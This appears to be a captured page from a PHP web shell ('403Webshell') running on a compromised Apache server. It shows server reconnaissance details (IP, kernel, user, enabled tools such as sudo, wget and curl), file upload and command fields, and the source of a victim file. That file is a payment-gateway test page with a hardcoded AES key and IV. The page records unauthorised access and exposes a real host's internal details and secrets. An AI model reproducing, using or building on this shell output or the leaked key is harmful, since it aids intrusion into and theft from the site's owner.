403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend//success.php
<?php
if (function_exists('mcrypt_create_iv')) {
    $token = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
} else {
    $token = bin2hex(openssl_random_pseudo_bytes(32));
}
echo $token;
echo "<br>";
$method = 'AES-256-CBC';
$key= "DCBcasa@11061987DCBcasa@11061987";
$options = 0;
$iv = "hgsdf6534632#$$5"; 
echo $encyptedVal = trim(openssl_encrypt($token, $method, $key, $options, $iv));
echo "<br>";
echo $decyptedVal = openssl_decrypt($encyptedVal, $method, $key, $options, $iv);
echo "<br>";
exit;


echo PHPExcel_Shared_Date::ExcelToPHP(stripslashes('11/22/2000'));
exit;
echo "<pre>";
print_r($_REQUEST);
exit;
?>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8">
        <title>Checkout.js Demo</title>
        <script src="https://api.demo.convergepay.com/hosted-payments/Checkout.js"></script>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    </head>
    <body>
        <script>
            function initiateCheckoutJS() {
                var tokenRequest = {
                    ssl_first_name: document.getElementById('name').value,
                    ssl_last_name: document.getElementById('lastname').value,
                    ssl_amount: document.getElementById('ssl_amount').value
                };
                $.post("http://local.b2bzend.com/checkoutjscurlrequestdevportal.php", tokenRequest, function (data) {
                    document.getElementById('token').value = data;
                    transactionToken = data;
                });
                return false;
            }

            function showResult(status, msg) {
                document.getElementById('txn_status').innerHTML = "<b>" + status + "</b>";
                document.getElementById('txn_response').innerHTML = msg;
            }
            function pay() {
                var token = document.getElementById('token').value;
                var card = document.getElementById('card').value;
                var exp = document.getElementById('exp').value;
                var cvv = document.getElementById('cvv').value;
                var gettoken = document.getElementById('gettoken').value;
                var addtoken = document.getElementById('addtoken').value;
                var firstname = document.getElementById('name').value;
                var lastname = document.getElementById('lastname').value;
                var merchanttxnid = document.getElementById('merchanttxnid').value;
                var paymentData = {
                    ssl_txn_auth_token: token,
                    ssl_card_number: card,
                    ssl_exp_date: exp,
                    ssl_get_token: gettoken,
                    ssl_add_token: addtoken,
                    ssl_first_name: firstname,
                    ssl_last_name: lastname,
                    ssl_cvv2cvc2: cvv,
                    ssl_merchant_txn_id: merchanttxnid
                };
                var callback = {
                    onError: function (error) {
                        showResult("error", error);
                    },
                    onDeclined: function (response) {
                        console.log("Result Message=" + response['ssl_result_message']);
                        showResult("declined", JSON.stringify(response));
                    },
                    onApproval: function (response) {
                        console.log("Approval Code=" + response['ssl_approval_code']);
                        showResult("approval", JSON.stringify(response));
                    }
                };
                ConvergeEmbeddedPayment.pay(paymentData, callback);
                return false;
            }

            function showResult(status, msg) {
                document.getElementById('txn_status').innerHTML = "<b>" + status + "</b>";
                document.getElementById('txn_response').innerHTML = msg;
            }
        </script>


    </head>

<body>
    <br>
    <br>
    <br>
    <br>
    <br>
    <br>
    <form name="getSessionTokenForm">
        First Name: <input type="text" id="name" name="ssl_first_name" size="25" value="John"> <br><br>
        Last Name: <input type="text" id="lastname" name="ssl_last_name" size="25" value="Smith"> <br><br>
        Transaction Amount: <input type="text" id="ssl_amount" name="ssl_amount" value="25.00"> <br> <br>
        <button onclick="return initiateCheckoutJS();">Click to Confirm Order</button> <br>
    </form>
    <br>
    <br>
    <br>
    <br>
    <br>
    <br>
    Transaction Token: <input id="token" type="text" name="token"> <br />
    Card Number: <input id="card" type="text" name="card" value="4124939999999990" /> <br />
    Expiry Date: <input id="exp" type="text" name="exp" value="1219" /> <br />
    CVV2: <input id="cvv" type="text" name="cvv" value="123"> <br />
    Merchant TXN ID: <input id="merchanttxnid" type="text" name="merchanttxnid" value="MerchantTXNIDHere" /> <br />
    <input id="gettoken" type="hidden" name="gettoken" value="y" />
    <input id="addtoken" type="hidden" name="addtoken" value="y" />
    <button onclick="return pay();">Process Payment</button>

</form>
<br>
<br>
<br>
<br>
Transaction Status:<div id="txn_status"></div>
<br>
Transaction Response:<div id="txn_response"></div>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit